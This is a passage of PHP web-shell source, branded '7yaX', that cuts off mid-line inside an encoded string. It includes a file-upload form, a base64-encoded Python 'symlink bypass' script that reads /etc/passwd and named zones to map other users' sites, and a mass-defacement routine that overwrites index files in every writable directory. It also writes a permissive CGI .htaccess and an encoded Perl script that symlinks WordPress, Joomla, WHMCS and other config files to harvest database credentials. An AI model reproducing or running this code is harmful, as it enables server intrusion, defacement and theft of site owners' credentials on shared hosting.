  671.     echo "<br><form style='text-align:left' method='post' target='_blank' action='$url' enctype='multipart/form-data'><input type='file' name='$data'><input style='width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;' type='submit' name='ok' class='kotak' value='Upload'>
  672.     </form></div>";
  673. }
  674.     ;} elseif($_GET['do'] == 'sympy') {
  675.     $sym_dir = mkdir('7yaX_sympy', 0755);
  676.         chdir('7yaX_sympy');
  677.     $file_sym = "sym.py";
  678.     $sym_script = "Iy8qUHl0aG9uCgppbXBvcnQgdGltZQppbXBvcnQgb3MKaW1wb3J0IHN5cwppbXBvcnQgcmUKCm9zLnN5c3RlbSgiY29sb3IgQyIpCgpodGEgPSAiXG5GaWxlIDogLmh0YWNjZXNzIC8vIENyZWF0ZWQgU3VjY2Vzc2Z1bGx5IVxuIgpmID0gIkFsbCBQcm9jZXNzZXMgRG9uZSFcblN5bWxpbmsgQnlwYXNzZWQgU3VjY2Vzc2Z1bGx5IVxuIgpwcmludCAiXG4iCnByaW50ICJ+Iio2MApwcmludCAiU3ltbGluayBCeXBhc3MgMjAxNCBieSBNaW5kbGVzcyBJbmplY3RvciAiCnByaW50ICIgICAgICAgICAgICAgIFNwZWNpYWwgR3JlZXR6IHRvIDogUGFrIEN5YmVyIFNrdWxseiIKcHJpbnQgIn4iKjYwCgpvcy5tYWtlZGlycygnc3ltcHknKQpvcy5jaGRpcignc3ltcHknKQoKc3Vzcj1bXQpzaXRleD1bXQpvcy5zeXN0ZW0oImxuIC1zIC8gN3lhWC50eHQiKQoKaCA9ICJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3NcbkRpcmVjdG9yeUluZGV4IDd5YVgucGh0bWxcbkFkZFR5cGUgdHh0IC5waHBcbkFkZEhhbmRsZXIgdHh0IC5waHAiCm0gPSBvcGVuKCIuaHRhY2Nlc3MiLCJ3KyIpCm0ud3JpdGUoaCkKbS5jbG9zZSgpCnByaW50IGh0YQoKc2YgPSAiPGh0bWw+PHRpdGxlPlN5bWxpbmsgUHl0aG9uPC90aXRsZT48Y2VudGVyPjxmb250IGNvbG9yPXdoaXRlIHNpemU9NT5TeW1saW5rIEJ5cGFzcyAyMDE3PGJyPjxmb250IHNpemU9ND5NYWRlIEJ5IE1pbmRsZXNzIEluamVjdG9yIDxicj5SZWNvZGVkIEJ5IDd5YVg8L2ZvbnQ+PC9mb250Pjxicj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTM+PHRhYmxlPiIKCm8gPSBvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKQpvPW8ucmVhZCgpCm8gPSByZS5maW5kYWxsKCcvaG9tZS9cdysnLG8pCgpmb3IgeHVzciBpbiBvOgoJeHVzcj14dXNyLnJlcGxhY2UoJy9ob21lLycsJycpCglzdXNyLmFwcGVuZCh4dXNyKQpwcmludCAiLSIqMzAKeHNpdGUgPSBvcy5saXN0ZGlyKCIvdmFyL25hbWVkIikKCmZvciB4eHNpdGUgaW4geHNpdGU6Cgl4eHNpdGU9eHhzaXRlLnJlcGxhY2UoIi5kYiIsIiIpCglzaXRleC5hcHBlbmQoeHhzaXRlKQpwcmludCBmCnBhdGg9b3MuZ2V0Y3dkKCkKaWYgIi9wdWJsaWNfaHRtbC8iIGluIHBhdGg6CglwYXRoPSIvcHVibGljX2h0bWwvIgplbHNlOgoJcGF0aCA9ICIvaHRtbC8iCmNvdW50ZXI9MQppcHM9b3BlbigiN3lhWC5waHRtbCIsInciKQppcHMud3JpdGUoc2YpCgpmb3IgZnVzciBpbiBzdXNyOgoJZm9yIGZzaXRlIGluIHNpdGV4OgoJCWZ1PWZ1c3JbMDo1XQoJCXM9ZnNpdGVbMDo1XQoJCWlmIGZ1PT1zOgoJCQlpcHMud3JpdGUoIjxib2R5IGJnY29sb3I9YmxhY2s+PHRyPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6d2hpdGU7PiVzPC90ZD48dGQgc3R5bGU9Zm9udC1mYW1pbHk6Y2FsaWJyaTtmb250LXdlaWdodDpib2xkO2NvbG9yOnJlZDs+JXM8L3RkPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7PjxhIGhyZWY9N3lhWC50eHQvaG9tZS8lcyVzIHRhcmdldD1fYmxhbmsgPiVzPC9hPjwvdGQ+IiUoY291bnRlcixmdXNyLGZ1c3IscGF0aCxmc2l0ZSkpCgkJCWNvdW50ZXI9Y291bnRlcisx";
  679.         $sym = fopen($file_sym, "w");
  680.     fwrite($sym, base64_decode($sym_script));
  681.     chmod($file_sym, 0755);
  682.         $jancok = exe("python sym.py");
  683.     echo "<br><center>Successfully Create Symlink Bypasser! <a href='7yaX_sympy/sympy/' target='_blank'>Klik Here</a>";
  684. } elseif($_GET['do'] == 'mass_deface') {
  685.     function sabun_massal($dir,$namafile,$isi_script) {
  686.         if(is_writable($dir)) {
  687.             $dira = scandir($dir);
  688.             foreach($dira as $dirb) {
  689.                 $dirc = "$dir/$dirb";
  690.                 $lokasi = $dirc.'/'.$namafile;
  691.                 if($dirb === '.') {
  692.                     file_put_contents($lokasi, $isi_script);
  693.                 } elseif($dirb === '..') {
  694.                     file_put_contents($lokasi, $isi_script);
  695.                 } else {
  696.                     if(is_dir($dirc)) {
  697.                         if(is_writable($dirc)) {
  698.                             echo "[<font color=#4c83af>DONE</font>] $lokasi<br>";
  699.                             file_put_contents($lokasi, $isi_script);
  700.                             $idx = sabun_massal($dirc,$namafile,$isi_script);
  701.                         }
  702.                     }
  703.                 }
  704.             }
  705.         }
  706.     }
  707.     function sabun_biasa($dir,$namafile,$isi_script) {
  708.         if(is_writable($dir)) {
  709.             $dira = scandir($dir);
  710.             foreach($dira as $dirb) {
  711.                 $dirc = "$dir/$dirb";
  712.                 $lokasi = $dirc.'/'.$namafile;
  713.                 if($dirb === '.') {
  714.                     file_put_contents($lokasi, $isi_script);
  715.                 } elseif($dirb === '..') {
  716.                     file_put_contents($lokasi, $isi_script);
  717.                 } else {
  718.                     if(is_dir($dirc)) {
  719.                         if(is_writable($dirc)) {
  720.                             echo "[<font color=#4c83af>DONE</font>] $dirb/$namafile<br>";
  721.                             file_put_contents($lokasi, $isi_script);
  722.                         }
  723.                     }
  724.                 }
  725.             }
  726.         }
  727.     }
  728.     if($_POST['start']) {
  729.         if($_POST['tipe_sabun'] == 'mahal') {
  730.             echo "<div style='margin: 5px auto; padding: 5px'>";
  731.             sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  732.             echo "</div>";
  733.         } elseif($_POST['tipe_sabun'] == 'murah') {
  734.             echo "<div style='margin: 5px auto; padding: 5px'>";
  735.             sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  736.             echo "</div>";
  737.         }
  738.     } else {
  739.     echo "<center>";
  740.     echo "<form method='post'>
  741.     <font style='text-decoration: underline;'>Tipe Sabun:</font><br>
  742.     <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
  743.     <font style='text-decoration: underline;'>Folder:</font><br>
  744.     <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  745.     <font style='text-decoration: underline;'>Filename:</font><br>
  746.     <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
  747.     <font style='text-decoration: underline;'>Index File:</font><br>
  748.     <textarea name='script' style='width: 450px; height: 200px;'>Hacked by 7yaX</textarea><br>
  749.     <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  750.     </form></center>";
  751.     }
  752. }  elseif($_GET['do'] == 'config') {
  753.     $idx = mkdir("7yaX_config", 0777);
  754.     $isi_htc = "Options FollowSymLinks MultiViews Indexes ExecCGI\nRequire None\nSatisfy Any\nAddType application/x-httpd-cgi .cin\nAddHandler cgi-script .cin\nAddHandler cgi-script .cin";
  755.     $htc = fopen("7yaX_config/.htaccess","w");
  756.     fwrite($htc, $isi_htc);
  757.     fclose($htc);
  758.     if(preg_match("/vhosts|vhost/", $dir)) {
  759.         $link_config = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  760.         $vhost = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpvcGVuZGlyKG15ICRkaXIgLCAiL3Zhci93d3cvdmhvc3RzLyIpOw0KZm9yZWFjaChzb3J0IHJlYWRkaXIgJGRpcikgew0KICAgIG15ICRpc0RpciA9IDA7DQogICAgJGlzRGlyID0gMSBpZiAtZCAkXzsNCiRzaXRlc3MgPSAkXzsNCg0KDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3AudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3Atb3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3Njb20vaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL29zY29tbWVyY2UvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tbWVyY2UudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tbWVyY2VzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3AvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3AyLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3BwaW5nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRzaXRlc3MuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3NhbGUvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNhbGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJHNpdGVzcy4nLWFtZW1iZXIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlnLmluYy5waHAnLCRzaXRlc3MuJy1hbWVtYmVyMi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tZW1iZXJzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictbWVtYmVycy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jb25maWcucGhwJywkc2l0ZXNzLictNGltYWdlczEudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHNpdGVzcy4nLWZvcnVtLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictZm9ydW1zLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FkbWluL2NvbmYucGhwJywkc2l0ZXNzLictNS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hZG1pbi9jb25maWcucGhwJywkc2l0ZXNzLictNC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dwL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvV1Avd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYmV0YS93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ByZXNzL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy13cDEzLXByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictd29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2Jsb2cvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ld3Mvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy1uZXdzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ldy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLW5ldy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ibG9nL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtYmxvZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9iZXRhL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtYmV0YS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ibG9ncy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLWJsb2dzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvbWUvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy1ob21lLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Byb3RhbC93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3Mtc2l0ZS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tYWluL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtbWFpbi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy90ZXN0L3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtdGVzdC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hcmNhZGUvZnVuY3Rpb25zL2RiY2xhc3MucGhwJywkc2l0ZXNzLictaWJwcm9hcmNhZGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYXJjYWRlL2Z1bmN0aW9ucy9kYmNsYXNzLnBocCcsJHNpdGVzcy4nLWlicHJvYXJjYWRlLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9qb28vY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb28udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY21zL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLWNtcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLXNpdGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWpvb21sYS1tYWluLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ld3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtbmV3cy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9uZXcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtbmV3LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtaG9tZS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmJ+Y29uZmlnLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ZiMy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmIzfmNvbmZpZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmIxfmNvbmZpZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9mb3J1bS9pbmNsdWRlcy9jbGFzc19jb3JlLnBocCcsJHNpdGVzcy4nLXZibHV0dGlufmNsYXNzX2NvcmUucGhwLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ZiL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywkc2l0ZXNzLictdmJsdXR0aW5+Y2xhc3NfY29yZS5waHAxLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NjL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywkc2l0ZXNzLictdmJsdXR0aW5+Y2xhc3NfY29yZS5waHAyLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobTE1LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NlbnRyYWwvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0tY2VudHJhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0td2htY3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvd2htL1dITUNTL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htLVdITUNTLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htYy1XSE0udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG1jcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VwcG9ydC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VwcC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zZWN1cmUvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1zdWN1cmUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc2VjdXJlL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXN1Y3VyZS13aG0udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc2VjdXJlL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VjdXJlLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NwYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWNwYW5lbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXBhbmVsLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3QvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1ob3N0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictaG9zdHMudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc3VibWl0dGlja2V0LnBocCcsJHNpdGVzcy4nLXdobWNzMi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictY2xpZW50cy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnRlcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnRlL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictY2xpZW50LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnRzdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1iaWxsaW5nLnR4dCcpOyANCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tYW5hZ2UvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0tbWFuYWdlLnR4dCcpOyANCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9teS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobS1teS50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htLW15c2hvcC50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkc2l0ZXNzLictemVuY2FydC50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRzaXRlc3MuJy1zaG9wLXplbmNhcnQudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkc2l0ZXNzLictc2hvcC1aQ3Nob3AudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc21mL1NldHRpbmdzLnBocCc